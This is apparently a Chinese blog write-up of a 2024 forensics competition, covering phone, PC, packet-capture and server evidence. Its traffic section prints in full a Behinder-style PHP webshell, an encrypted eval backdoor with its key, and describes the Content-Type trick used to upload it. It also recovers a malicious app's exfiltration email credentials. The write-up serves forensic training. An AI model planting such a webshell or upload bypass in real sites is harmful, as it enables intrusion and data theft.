Skip to main content

2024年龙信杯

author:mumuzi

date:2024/9/30

还没做的题会持续更新


镜像下载地址: https://pan.baidu.com/s/1nZfaHq2iMPq2SuUcdl4H6w?pwd=8vvj 提取码: 8vvj

检材VC密码:MjAyNOm+meS/oeadrw==

题目:

image-20240929191540105

image-20240929191552824

image-20240929191603144

image-20240929191612178

手机取证

1.分析手机检材,请问此手机共通过adb连接过几个设备?[标准格式:3]

答案:2

Android 设备在通过 ADB 连接时,通常会要求用户授权连接,会要求用户确认设备授权,并将该设备的公钥保存在 adb_keys 文件中。

该文件保存在/data/misc/adb/adb_keys

在本题中,能在/misc/adb/adb_temp_keys.xml中发现两个adbKey,即连接过2个设备

image-20240929192359567

2.分析手机检材,机主参加考试的时间是什么时候?[标准格式:2024-06-17]

答案:2024-08-23

在便签中找到考试相关信息,能推断下个星期五是8月23

image-20240929192521164

3.分析手机检材,请问手机的蓝牙Mac地址是多少?[标准格式:12:12:12:12:12:12]

答案:48:87:59:76:21:0f

查看基本信息即可(/misc_1/bluedroid/bt_config.conf

image-20240929192607813

4.分析手机检材,请问压缩包加密软件共加密过几份文件?[标准格式:3]

答案:6

在搜索记录中能够发现filecompress,知道其包名为com.zs.filecompress,全局搜索后在media_425/0/FileCompress下发现压缩包

image-20240930165901481

同时还能在/app/~~_jzJxEiovvVW2OdDRNs_dw==/com.zs.filecompress-rGjcoW-RV_xJmIwAD522NA==下找到apk文件

5.分析手机检材,请问机主的另外一个155的手机号码是多少?[标准格式:15555000555]

答案:15599555555

上面导出apk文件后,查看该apk文件的manifest,找到入口为com.zs.filecompress.MainActivity

找到压缩密码为1!8Da9Re5it2b3a.

image-20240930170322787

对第四题的6个压缩包解密即可。其中关键信息如下:

重要.txt:我手机里面有一个重要容器,密码是d7Avsd!Y]u}J8i(1bnDD@<-o 还有服务器密码:M6gNFerD8YYu3lq

mm.txt:我的另外一个号码15599555555

6.分析手机检材,其手机存在一个加密容器,请问其容器密码是多少。(标准格式:abc123)

答案:d7Avsd!Y]u}J8i(1bnDD@<-o

分析见第五题

7.分析手机检材,接上问,其容器中存在一份成员名单,嫌疑人曾经误触导致表格中的一个成员姓名被错误修改,请确认这个成员的原始正确姓名?[标准格式:张三]

答案:陆俊梅

可以在下载的文件下(/media_425/0/Download)找到一个名为data的大小10MB整的文件,该文件则是加密容器

挂载后用VC打不开,尝试使用TC

image-20240930170754202

挂载后得到两份文件,分别为名单数据.xlsxllzp.jpg

因为题上描述到修改了名字,那么大概率存在一种可能是一个手机号对应了多个名字,那么编写python脚本进行分析:

import pandas as pd
file_path = '名单数据.xlsx'
df = pd.read_excel(file_path)
phone_to_name = {}

for name, phone, inviter, inviter_phone in zip(df['姓名'], df['手机号'], df['邀请人'], df['邀请人手机号']):
if phone not in phone_to_name:
phone_to_name[phone] = name
elif phone_to_name[phone] != name:
print(f"警告:手机号 {phone} 对应了多个不同的姓名:{phone_to_name[phone]}{name}")

if inviter_phone not in phone_to_name:
phone_to_name[inviter_phone] = inviter
elif phone_to_name[inviter_phone] != inviter:
print(f"警告:手机号 {inviter_phone} 对应了多个不同的邀请人:{phone_to_name[inviter_phone]}{inviter}")
#警告:手机号 15979503550 对应了多个不同的姓名:陆陆 和 陆俊梅

image-20240930173000552

8.分析手机检材,接上题,请确认该成员的对应的最高代理人是谁(不考虑总部)?[标准格式:张三]

答案:刘珏兰

手动筛选xlsx表格,可以得出上级关系是:陆俊梅-->肖玉莲-->刘珏兰-->总部

9.分析手机检材,请确认在该组织中,最高层级的层次是多少?(从总部开始算第一级)[标准格式:10]

答案:12

编写python脚本

import pandas as pd

file_path = '名单数据.xlsx'
df = pd.read_excel(file_path)
invite_dict = {}

for name, inviter in zip(df['姓名'], df['邀请人']):
invite_dict[name] = inviter

def get_level(name, invite_dict):
if invite_dict.get(name) == "总部":
return 2, f"{name} --> 总部"
if name not in invite_dict or pd.isna(invite_dict[name]):
return 1, name
level, chain = get_level(invite_dict[name], invite_dict)
return level + 1, f"{name} --> {chain}"

max_level = 0
max_chain = ""
for name in df['姓名']:
level, chain = get_level(name, invite_dict)
if level > max_level:
max_level = level
max_chain = chain

print(f"最高层级数为: {max_level}")
print(f"最高层级的邀请链为: {max_chain}")
#最高层级数为: 12
#最高层级的邀请链为: 何芳 --> 周厚英 --> 周开情 --> 刘明香 --> 胡雍全 --> 刘萍 --> 卢宾秋 --> 卢志 --> 沈冬吉 --> 陈荣建 --> 陈金香 --> 总部

10.分析手机检材,请问第二层级(从总部开始算第一级)人员最多的人是多少人?[标准格式:100]

答案:60

感觉有点没读懂题呢,我的理解是第二层级邀请的人数最多的,邀请了多少人

import pandas as pd

file_path = '名单数据.xlsx'
df = pd.read_excel(file_path)
invite_dict = {}

for name, inviter in zip(df['姓名'], df['邀请人']):
invite_dict[name] = inviter
first_level = [name for name, inviter in zip(df['姓名'], df['邀请人']) if inviter == "总部"]
second_level_counts = {name: 0 for name in first_level}

for name, inviter in zip(df['姓名'], df['邀请人']):
if inviter in second_level_counts:
second_level_counts[inviter] += 1

max_inviter = max(second_level_counts, key=second_level_counts.get)
max_count = second_level_counts[max_inviter]

print(f"第二层级人员最多的是: {max_inviter},邀请了 {max_count} 人")
#第二层级人员最多的是: 贾书英,邀请了 60 人

11.分析手机检材,机主共开启了几款APP应用分身?[标准格式:3]

答案:2

image-20241001125459732

12.分析手机检材,请问机主现在安装了几款即时通讯软件(微博除外)?[标准格式:1]

答案:2

当时数出来是6个,但是算了一些其他软件,弘连跑出来除开微博是2。所以最终答案不确定

image-20240930182755040

13.分析手机检材,请问勒索机主的账号是多少(非微信ID)?[标准格式:AB123CD45]

答案:1836042664454131712

结合第14的问,个人感觉问的是默往的聊天记录

image-20241001125545084

14.分析手机检材,接上问,请问机主通过此应用共删除了多少条聊天记录 ?[标准格式:2]

答案:1

应该是删除了1条

image-20241001125611611

15.分析手机检材,请问会盗取手机信息的APP应用包名是什么?[标准格式:com.lx.tt]

答案:com.lxlxlx.luoliao

在微信聊天记录中,能够发现盗取手机信息的APP,导出查看起Androidmanifest即可

image-20240930174129431

image-20240930174220708

16.接上题,请问该软件作者预留的座机号码是多少?[标准格式:40088855555]

答案:40085222666

直接搜没有搜到,因此分析源码。找到主函数为com.gass.mobileH.MainActivity

在查看代码的时候,能发现很多都用到了C0251a,跳转发现是一个AES加密

image-20240930174437589

image-20240930174510982

Log.i("tips", new String(C0251a.m201a((this.f1252w0 + this.f1254x0).getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));分析,可以知道解密过程是使用秘钥E10ADC3949BA59ABBE56E057F20F883E和iv为E10ADC3949BA59ABBE56E057F20F883E来解密iSkrO/5aOpJ6AAFQNl4t/9k013k52gh6U+1240De1DEVJaQJ7ByaJExZmcgdXkz92RANgWCqZ/T6prig6uqOFA==

image-20240930174638097

怎么和去年一个答案

17.接上题,恶意程序偷取数据的收件邮箱地址的gmail邮箱是多少?[标准格式:[email protected]]

答案:[email protected]

依旧是直接搜邮箱没有搜到,尝试解密下面还没有解密的数据

image-20240930174856137

解密f1250v0就是邮箱

18.接上题,恶意程序偷取数据的发件邮箱地址是多少?[标准格式:[email protected]]

答案:[email protected]

搜素f1250v0就能追到此处

image-20240930175215930

然后发现发送邮箱是通过的c0258a.m198a

image-20240930175619119

f968d解密,结果为[email protected]

19.接上题,恶意程序偷取数据的发件邮箱密码是多少?[标准格式:abc123]

答案:qwer123456

f969e解密,结果为qwer123456

20.接上题,恶意程序定义收发件的地址函数是什么?[标准格式:a]

答案:a

见18题的图

计算机取证

1.分析计算机检材,嫌疑人在将其侵公数据出售前在Pycharm中进行了AES加密,用于加密的key是多少?[标准格式:1A23456ABCD]

答案:65B2564BG89F16G9

使用仿真软件将镜像仿真,仿真设置中选择不修改密码,仿真好后会提示输入密码,输错一次后会得到提示:

image-20240929193812186

然后火眼证据分析把密码跑出来了,是990528

image-20240929193749250

在E盘的python文件夹下发现KEY(若强制修改密码,则会由于EFS加密的关系无法解密文件内容)

image-20240929194003685

2.分析计算机检材,身份证为"371963195112051505"这个人的手机号码是多少?[标准格式:13013524420]

答案:15075547510

给出加密脚本和加密后的文件后,可以反向写出解密脚本

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from tqdm import tqdm

def aes_decrypt(encrypted_data, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(bytes.fromhex(encrypted_data))
unpadded_data = unpad(decrypted_data, AES.block_size)
return unpadded_data.decode()

key = b'65B2564BG89F16G9'
iv = b'83E6CBEF547944CF'

input_file = "encrypted_data.txt"
output_file = "decrypted_data.txt"

def process_data(input_file, output_file, key, iv):
with open(input_file, "r") as f_in, open(output_file, "w") as f_out:
total_lines = sum(1 for _ in f_in)
f_in.seek(0)
for line in tqdm(f_in, total=total_lines, desc="Processing"):
parts = line.strip().split(',')
index = parts[0]
f_out.write(index + ",")

decrypted_parts = []
for encrypted_part in parts[1:]:
decrypted_part = aes_decrypt(encrypted_part, key, iv)
decrypted_parts.append(decrypted_part)

f_out.write(",".join(decrypted_parts) + "\n")

process_data(input_file, output_file, key, iv)

等待约10分钟之后即可成功解密数据,大小约600MB

打开后,搜索该身份证即可

image-20240929195640640

3.分析计算机检材,对解密后的身份证数据列进行单列去重操作,重复的身份证号码数量是多少?(身份证不甄别真假)[标准格式:100]

答案:0

def count_unique_ids(input_file):
unique_ids = set()
with open(input_file, "r", encoding="gbk") as f_in:
for line in f_in:
parts = line.strip().split(',')
id_card = parts[2]
unique_ids.add(id_card)
return len(unique_ids)

input_file = "decrypted_data.txt"
unique_count = count_unique_ids(input_file)
print("去重后的身份证个数为:", unique_count)
#结果为:10000000

总数也是10000000,因此没有重复

4.分析计算机检材,接上题,根据身份证号码(第17位)分析性别,男性的数据是多少条?[标准格式:100]

答案:5001714

def count_male_ids(input_file):
male_count = 0
with open(input_file, "r", encoding="gbk") as f_in:
for line in f_in:
parts = line.strip().split(',')
if len(parts) < 3:
continue
id_card = parts[2]

if len(id_card) == 18:
gender_digit = int(id_card[16])
if gender_digit % 2 == 1:
male_count += 1

return male_count

input_file = "decrypted_data.txt"
male_count = count_male_ids(input_file)
print("男性人数为:", male_count)
#5001714

5.分析计算机检材,接上题,对解密后的数据文件进行分析,甄别身份证号码性别值与标识性别不一致的数量是多少?[标准格式:100]

答案:5001185

def count_mismatched_gender(input_file):
mismatch_count = 0 # 用于统计性别不一致的人数

# 打开输入文件,指定 gbk 编码读取数据
with open(input_file, "r", encoding="gbk") as f_in:
for line in f_in:
parts = line.strip().split(',')
if len(parts) < 5:
continue
id_card = parts[2]
actual_gender = parts[4]

if len(id_card) == 18:
gender_digit = int(id_card[16])
id_gender = "男" if gender_digit % 2 == 1 else "女"

if id_gender != actual_gender:
mismatch_count += 1

return mismatch_count

input_file = "decrypted_data.txt"
mismatch_count = count_mismatched_gender(input_file)
print("身份证性别和最后一列性别不一致的人数为:", mismatch_count)
#5001185

6.分析计算机检材,计算机中存在的“VPN”工具版本是多少?[标准格式:1.1]

答案:4.4

在E盘下的WinXway中,打开后看软件的title

image-20240929200928065

7.分析计算机检材,计算机中存在的“VPN”节点订阅地址是什么?[标准格式:http://xxx.xx/x/xxx]

答案:https://paste.ee/d/4eIzU

在配置中

image-20240929201012608

8.分析计算机检材,eduwcry压缩包文件的解压密码是什么?[标准格式:abcabc]

答案:yasuomima

有三种做法,我用的最奇葩的第三种。文件在下载目录中

做法1:查看密码管理器

image-20240929201126932

做法2:查看输入法

image-20240929201151985

做法3:明文攻击

首先在火绒的隔离区找到该病毒软件(若不会做就放弃该题直接把后面的接着做了)

image-20240929201252923

接着观察到该文件是deflate算法,并且电脑里只有个bandzip,因此用bandzip压缩该wcry.exe文件

image-20240929201338035

最后使用

ARCHPR爆破即可

image-20240929201433227

9.分析计算机检材,接上题,请问恶意程序释放压缩包的md5值是多少。[标准格式:全小写]

答案:b576ada3366908875e5ce4cb3da6153a

使用CFF Explorer打开该病毒文件,查看资源文件,保存后计算md5即可。

同时能在病毒文件中找到XIA.zip的解压密码是WNcry@2ol7,调用来自WinMain

image-20240929201625735

image-20240929201658781

image-20240929202030241

10.分析计算机检材,接上题,请问恶意程序记录的洋葱浏览器下载地址是多少?[标准格式:http://xxx.xxx/xxx/xxx.zip]

答案:https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

运行之后可以看见释放了Tor文件夹,不过具体的可以看这张图:

https://github.com/heart4lor/brainbase/blob/master/WannaCry%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%92%E8%AF%A6%E7%BB%86%E8%A7%A3%E8%AF%BB.md

image-20240929210433958

image-20240929210736434

*11-14不会,看大神分析

https://blog.csdn.net/zyg_0506/article/details/142692748

11.f351e1fcca0c4ea05fc44d15a17f8b36

12.5

13.CreateShortcut

14.sub_10004F20

15.分析计算机检材,VeraCrypt加密容器的密码是什么?[标准格式:abc]

答案:qwertyuiop1

容器在E盘的data-backup.dd中,改成.zip解压。解压后即可得到密码为qwertyuiop1

image-20240929202832208

16.分析计算机检材,其中存在一个苹果手机备份包,手机备份包的密码是什么?[标准格式:12345]

答案:75966

将上图的data-backup使用vc进行挂载,即可得到一个苹果手机的备份包。

然后可以在浏览记录中发现用户搜索过如何解密5位数字密码的苹果备份

image-20240929203026396

因此把这个压缩包解压出来,将manifest.plist丢入passware kit(也可以看这篇文章:https://www.cnblogs.com/zyToJH/p/17990380)

image-20240929203201692

17.分析计算机检材,接上题,机主实际篡改多少条微信数据?[标准格式:1]

答案:2

首先,聊天记录碎片用于提高读取和写入效率,可以从这里对比篡改消息,但是并不代表碎片这里缺少的东西在聊天记录有就等于被篡改了,只能看同一个聊天记录的不同点(这话有点怪,能理解就行不能理解就pass)。

看cj,有2条。看zdyy是没有被篡改的

image-20241004141810002

18.分析计算机检材,接上题,机主共存款了多少金额?[标准格式:10万]

答案:98万

在看Info.plist时发现已安装的应用如下:

	<array>
<string>com.ownbook.notes</string>
<string>com.titashow.tangliao</string>
<string>com.tencent.xin</string>
</array>

很明显com.ownbook.notes是一个类似于笔记的软件,但是里面没有数据

而com.titashow.tangliao是小西米语音的,之前在獬豸杯是考过的,数据存放在其包名下的Documents\IM5_CN\9031bc3c805ac5e55ecaa151092c2c4b\IM5_storage\1438793628033019010中的im5db下,表是message

image-20241004141010431

19.分析计算机检材,在手机模拟器中勒索apk软件的sha256值是什么?[标准格式:全小写]

答案:340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e

在电脑的文档文件夹下存在一个模拟器的备份文件,我的做法是导出后修改为7z解压,将vmdk文件放入火眼取证

image-20240929203408562

然后找到许羽这个文件(/app/com.fankes.tmoreplus-1/base.apk)导出后计算sha256即可

或者使用adb连接后进行导出: image-20240929203826229

image-20240929203855741

20.分析计算机检材,接上题,请问勒索apk软件的解锁密码是什么?[标准格式:qwer.com]

答案:anzhuo.com

jadx打开,能在com.mycompany.myapp4.ABC中找到

public void onClick(View view2) {
if (this.val$edit.getText().toString().equals("anzhuo.com")) {
System.exit(0);
return;
}
this.val$edit.setHint("密码不对,不知道密码联系qq1966466802");
this.val$edit.setText("许羽nb");
}

image-20240929204121742

流量分析

个人分析是这样的:

扫路径、爆密码、传冰蝎马

1.分析流量包检材,给出管理员对web环境进行管理的工具名。(标准格式:小皮)

答案:宝塔

image-20241004143555431

2.分析流量包检材,给出攻击者的ip地址是多少。(标准格式:127.0.0.1)

答案:192.168.209.135

看扫的流量

image-20240930202431550

3.分析流量包检材,给出攻击者爆破出的网站非管理员用户名是。(标准格式:admin)

答案:luna

个人感觉是luna

发现第48-56流的HTTP都是在爆破用户名。然后一般的都是没有在站点注册,我猜测注册的肯定会提示密码相关,然后找到俩

image-20240930204308349

image-20240930204314299

然后在后续题目进行分析时,发现

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
saber:x:1000:1000:earph0n3:/home/saber:/bin/bash
www:x:1001:1001::/home/www:/sbin/nologin
mysql:x:1002:1002::/home/mysql:/sbin/nologin

感觉既然有saber用户,应该saber就是管理员,所以非管理员就是luna

4.分析流量包检材,攻击者进行目录扫描得到的具有后门的页面url路径为。(标准格式:/abc.html)

答案:/up_load.html

问的是扫描扫出来的,扫描的流处于1699——11866中,因此过滤code是200的并且处于该范围流的

image-20240930204519426

image-20240930204538799

5.分析流量包检材,攻击者通过修改请求包中的哪个字段导致恶意文件成功上传。(标准格式:test-type)

答案:Content-Type

过滤看一下有关流量

image-20240930204616900

能看到这里失败了

image-20240930204659659

然后这里是上传成功的

image-20240930204929785

能够注意到马是cont.php,直接http contains "cont.php"

image-20240930205029631

对比能够发现,修改为Content-Type: image/jpeg能上传php和jpeg,因此修改的字段就是Content-Type

6.分析流量包检材,攻击者上传成功的恶意文件, 该文件的临时存放路径是。(标准格式:/abc/edf)

答案:/tmp/php38mbeJ

见上图(还有个是cont.jpg,那个用不了所以不是那个)

7.分析流量包检材,服务器php配置文件的存放位置(标准格式:/www/sev/php.ini)

答案:/www/server/php/82/etc/php.ini

这里没搜到,估计就是需要解冰蝎马了,可以知道上传的冰蝎马内容如下:

<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

通过分别解密冰蝎流量,在第19708流中找到

image-20241001130607304

8.分析流量包检材,被攻击的web环境其数据库密码是。(标准格式:qwer1234)

答案:X847Z3QzF1a6MHjR

在20299流中,解冰蝎得到:

<?php
/**
* WordPress 基础配置文件
*
* 这个文件被安装程序用于自动生成 wp-config.php 配置文件
* 您不必使用网站,可以将这个文件复制到「wp-config.php」并填写这些值。
*
* 本文件包含以下配置选项:
*
* * 数据库设置
* * 密钥
* * 数据库表名前缀
* * ABSPATH
*
* @link https://wordpress.org/documentation/article/editing-wp-config-php/
*
* @package WordPress
*/

// ** 数据库设置 - 您可以从您的主机获取这些信息 ** //
/** WordPress 数据库名称 */
define( 'DB_NAME', '192_168_209_147' );

/** 数据库用户名 */
define( 'DB_USER', '192_168_209_147' );

/** 数据库密码 */
define( 'DB_PASSWORD', 'X847Z3QzF1a6MHjR' );

/** 数据库主机 */
define( 'DB_HOST', 'localhost' );

/** 创建表时使用的数据库字符集。 */
define( 'DB_CHARSET', 'utf8mb4' );

/** 数据库排序规则类型。如不确定,请勿更改。 */
define( 'DB_COLLATE', '' );

/**#@+
* 身份验证唯一密钥与盐。
*
* 将这些更改为任意独一无二的字符串!您可以使用
* {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org 密钥服务}
* 生成这些。
*
* 您可以随时更改这些内容以使所有现有 cookies 失效。
* 这将强制所有用户必须重新登录。
*
* @since 2.6.0
*/
define( 'AUTH_KEY', '@y;Lsw0P+;-ossdjV ^:{6pf#o+JS T}`vZLy!ZwwFD&61^AsfW1z8aauV{&}]~q' );
define( 'SECURE_AUTH_KEY', 'a<6MJ#M|X}T#}Y_^-dJ;dk=dSs6AI[I*Hf=HD~FK4rSv$Ery8Tif/3P2ws/x9g4B' );
define( 'LOGGED_IN_KEY', 'ko$X58cfx@d^3`OS|T39#yX;/~v+jDi=!qijpfLv_nk%~gw*-WM&P0w67)T.Xz_f' );
define( 'NONCE_KEY', 'r:!rT(RGWY^zB=z},]amQI?mp#/RbIENVu#H.M,>6t8UvVwAb1o#GmXo@d0K[ (1' );
define( 'AUTH_SALT', '.uDPH|t!OG NAr0ts8=`_$?,9.9W{J!=W.94yV=>CdHoOMz]JCGO~-cI2]jQwN0' );
define( 'SECURE_AUTH_SALT', '>_/,*C2,^K-fW`lGtAabOWicWR1_VAA#jVnl/3|79{Fi^-M}p<mV>KGw=Gj=(%k8' );
define( 'LOGGED_IN_SALT', 'i5mQPmUUfw5/o$R~pD`7[n;eKsc,4EZYwJ=LK+ZFB$T#yveH4v[77,kgqJYK5ay2' );
define( 'NONCE_SALT', 'ySv,H] JxxE`~|sm6KxGE*ysT]bJ8kSbir(Z>|BMvW` NeM;;JGc,gt3oS3++N24' );

/**#@-*/

/**
* WordPress 数据表前缀。
*
* 如果您为每个安装分配一个唯一前缀,您可以在一个数据库中拥有多个安装。
* 请只使用数字、字母和下划线!
*/
$table_prefix = 'wp_';

/**
* 开发者专用:WordPress 调试模式。
*
* 将此值更改为 true 以启用开发过程中的通知显示。
* 强烈建议插件和主题开发人员在其开发环境中使用 WP_DEBUG。
*
* 有关可用于调试的其他常量的信息,请访问文档。
*
* @link https://wordpress.org/documentation/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );

/**
* 简体中文专属:ICP 备案号显示
*
* 在设置 → 常规中设置你的 ICP 备案号。
* 可调用简码 [cn_icp] 或函数 cn_icp() 显示。
*
* @since 6.5.0
* @link https://cn.wordpress.org/support/i10n-features/
*/
define( 'CN_ICP', true );

/**
* 简体中文专属:公安备案号显示
*
* 在设置 → 常规中设置你的公安备案号。
* 可调用简码 [cn_ga] 或函数 cn_ga() 显示。
*
* @since 6.5.0
* @link https://cn.wordpress.org/support/i10n-features/
*/
define( 'CN_GA', true );

/* 在这行和「停止编辑」行之间添加任何自定义值。 */



/* 就这样,停止编辑!祝您使用愉快。 */

/** WordPress 目录的绝对路径。 */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}

/** 设置 WordPress 变量和包含的文件。 */
require_once ABSPATH . 'wp-settings.php';

9.分析流量包检材,服务器管理存放临时登录密码的位置。(标准格式:/tmp/pass)

答案:/tmp/tmppass

在第29862流中,依旧是解密,不过是解密发送的包,内容是cd /www/wwwroot/192.168.209.147/uploaded_img/ ;cat /tmp/tmppass

10.分析流量包检材,黑客获取的高权限主机的登录密码。(标准格式:qwer1234)

答案:passwd!@#

接上,在第29862流中,发送的包是读密码,而返回的内容mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j7/h9uTFVY4YtX4K00hYYUtOKiRhmBh+4u0Qv/InNki2w==通过解密能够得到

服务器取证

在手机的加密容器中,我们得到了密码是M6gNFerD8YYu3lq

在使用仿真软件不修改的情况下,尝试登录发现不对(至少不是root账户),如果尝试直接绕密修改密码,会触发验证保护机制:

image-20240930184245980

image-20240930184306006

该机制会将docker全部删掉。因此需要一种方法能够绕过,下面是其中一种绕过的方式:

根据上述描述,可以知道是登录之后就会马上进行check,这种脚本通常会放在以下几个目录和文件中

/etc/profile

/etc/profile.d/

~/.bashrc

~/.profile

因此我们可以使用救援模式修改密码,但是经过尝试之后,发现必须使用单用户来修改,方法如下:

image-20240930184656980

在上图中按下e键,定位到linux16这一行,在最后加上一句rw single init=/bin/bash,然后按ctrl+x

image-20240930184812361

进入后,在上面的目录中查找文件,能够定位出/etc/profile.d/check-system.sh

image-20240930184850015

能够发现是读取了/etc/.cadpc下的文件与/etc/shadow的sha256进行比较,不同则删除这些目录

image-20240930184901343

因此直接删除,然后修改密码就行

image-20240930185002911

然后右键该虚拟机——电源——重新启动客户机即可

image-20240930185101616

1.分析服务器检材,服务器会做登录密码验证,该登录验证文件位置在?[标准格式:/xxx/xxx/xxx.xxx]

答案:/etc/profile.d/check-system.sh

见上面的分析,位置在/etc/profile.d/check-system.sh

2.分析服务器检材,服务器ssh端口是多少?[标准格式:1234]

答案:12320

使用netstat -anpt即可

image-20240930185155818

3.分析服务器检材,服务器docker内有多少个镜像。[标准格式:100]

答案:7

问的是镜像不是容器,因此使用docker images

image-20240930185242827

4.分析服务器检材,服务器内sqlserver默认账号的密码是?[标准格式:xxx]

答案:<i7uFtnkTv8>

sqlserver是上图的第一个服务器,在docker ps -a中发现之前有启动过,再次start即可,然后可以在env中发现密码

image-20240930185411469

5.分析服务器检材,服务器内sqlserver存放了阿里云存储下载地址,该下载地址是?[标准格式:https://xxx]

答案:https://xinfenfa.oss-accelerate.aliyuncs.com

从这里开始,我的想法是使用弘连的数据库取证工具进行分析,在外面我们找到数据库路径为/var/lib/docker/overlay2/df6822a4afd15c3e31bc425a60d4c4cec799464c4fd37ee832ae87d3a248efc2/diff/var/opt/mssql/data/

将其整个导出后使用弘连数据库取证工具

image-20240930185619184

image-20240930185821938

在其中的cmf_config表中找到下载地址

image-20240930185922231

(不会)6.分析服务器检材,服务器内sqlserver内“cmf_user_action_log”表,表内存在的用户操作日志,一共操作次数是多少?[标准格式:100]

直接查看发现是空的

image-20240930190038702

日志里面好像没咋写?

7.分析服务器检材,该服务器正在使用的数据库的持久化目录是什么?[标准格式:/xxx/xxx]

答案:/data/mongo

先确定服务器的位置:

image-20240930191026904

然后找到服务器使用的数据库是什么

image-20240930191130173

既然确定了是mongo,那么就使用inspect查看其持久化目录

image-20240930191324950

image-20240930191352106

8.分析服务器检材,该网站后台正在使用的数据库有多少个集合?[标准格式:100]

答案:17

mongo的集合就跟mysql的表是一个意思,因此我就还是用刚刚描述的先导出再用数据库取证工具

image-20240930191526430

这里我给出的答案是17

image-20240930191727215

9.分析服务器检材,该网站的后台登录地址是?[标准格式:/xxx/xxx.xxx 全小写,不加域名]

答案:/admin/common/login.shtml(or mingadmin/common/login ?)

发现可能是login也可能是login1

image-20240930191820400

因此还是查看一下日志

image-20240930192427387

虽然数据库中还有个mingadmin/common/login,但是和题目格式不是很符合,感觉应该不是那个

image-20240930194452945

10.分析服务器检材,该网站后台使用的管理员加密算法是?[标准格式:全大写]

答案:BCRYPT

我先是看了管理员的密码格式

image-20240930192631149

image-20240930192703112

然后搜了一下看看是否使用了bcrypt

image-20240930192738013

image-20240930192752095

11.分析服务器检材,该网站最早使用超级管理员进行删除管理员操作的IP地址是?[标准格式:x.x.x.x]

答案:117.132.191.203

超管的ID是1

image-20240930192930343

删除管理员的操作ID是26

image-20240930195059880

分析app_admin_log

image-20240930195127375

12.分析服务器检材,该网站后台上传过sha256值为“b204ad1f475c7716daab9afb5f8d61815c508f2a2b1539bc1f42fe2f212b30d1”的压缩包文件,该文件内的账单交易订单号是多少?[标准格式:123456]

答案:20240321000000005443369778283185

find . |grep "\.zip"

image-20240930193029968

计算得到UeOupJ14.zip就是目标zip,不过需要密码

image-20240930193114776

用7zip打开能看到个注释

image-20241001131526699

我的ARCHPR说这个文件不正常,所以用passware来爆

image-20241001132054158

解压出来是个图像文件,直接在浏览器回车就可以

image-20241001131923222

13.分析服务器检材,该网站存在网站数据库备份功能,该功能的接口地址是?[标准格式:/xxx/xxx 全小写,不加域名]

答案:/appmanager/databackup

image-20240930193256506

14.分析服务器检材,该网站存放银行卡信息数据表中,其中信息数量前十的公司对应旗下visa银行卡一共有多少金额?[标准格式:100.00]

答案:43427557.26

app_card表中,导出自己整成csv文件,然后筛选前10,最后把筛选的数据放入新的sheet中再用=SUM计算即可

image-20240930193536244

image-20240930193714057

15.分析服务器检材,该网站在2023年二月一共获取了多少条通信记录?[标准标准格式:100]

答案:2879

通讯记录应该是指app_mobile,还是弄成csv之后再分析

写个脚本即可

f = open('app_mobile.csv','r',encoding='utf-8').read().splitlines()[1:]
count = 0

for datas in f:
data = int(datas.split(',')[-1])
if(data >= 1675180800 and data < 1677600000):
count += 1
print(count)
#2879

16.分析服务器检材,该网站的一条管理员信息存在数据篡改,请分析是哪个管理员信息遭到篡改,该管理员用户名是?[标准格式:ABCDE]

(不确定)答案:liangtx

